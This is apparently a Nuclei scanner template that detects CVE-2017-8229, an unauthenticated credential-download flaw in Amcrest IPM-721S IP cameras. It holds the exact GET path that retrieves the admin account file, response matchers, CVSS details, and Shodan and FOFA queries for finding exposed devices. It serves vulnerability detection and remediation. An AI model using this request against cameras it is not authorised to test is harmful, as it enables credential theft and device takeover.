id: CVE-2017-8229 info: name: Amcrest IP Camera Web Management - Data Exposure author: pussycat0x severity: critical description: | Amcrest IPM-721S V2.420.AC00.16.R.20160909 devices allow an unauthenticated attacker to download the administrative credentials. remediation: | Apply the latest firmware update provided by the vendor to fix the vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2017-8229 - http://packetstormsecurity.com/files/153224/Amcrest-IPM-721S-Credential-Disclosure-Privilege-Escalation.html - https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Amcrest_sec_issues.pdf - https://seclists.org/bugtraq/2019/Jun/8 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2017-8229 cwe-id: CWE-255 epss-score: 0.90501 epss-percentile: 0.9851 cpe: cpe:2.3:o:amcrest:ipm-721s_firmware:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: amcrest product: ipm-721s_firmware shodan-query: html:"Amcrest" fofa-query: "Amcrest" tags: packetstorm,seclists,cve,cve2017,amcrest,iot http: - method: GET path: - "{{BaseURL}}/current_config/Sha1Account1" matchers-condition: and matchers: - type: word part: body words: - "DevInformation" - "SerialID" condition: and - type: word part: header words: - "application/octet-stream" - type: status status: - 200 # digest: 4b0a00483046022100890dbeb60d3ce5be2e6b728976f1cf86d75a14fb14c679c92cb897f5d3c6d13c0221009d3626e2ea02bd74ab3e6fc80fcf9ff2ea1c450fa086aac344467a7626c382df:922c64590222798bb761d5b6d8e72950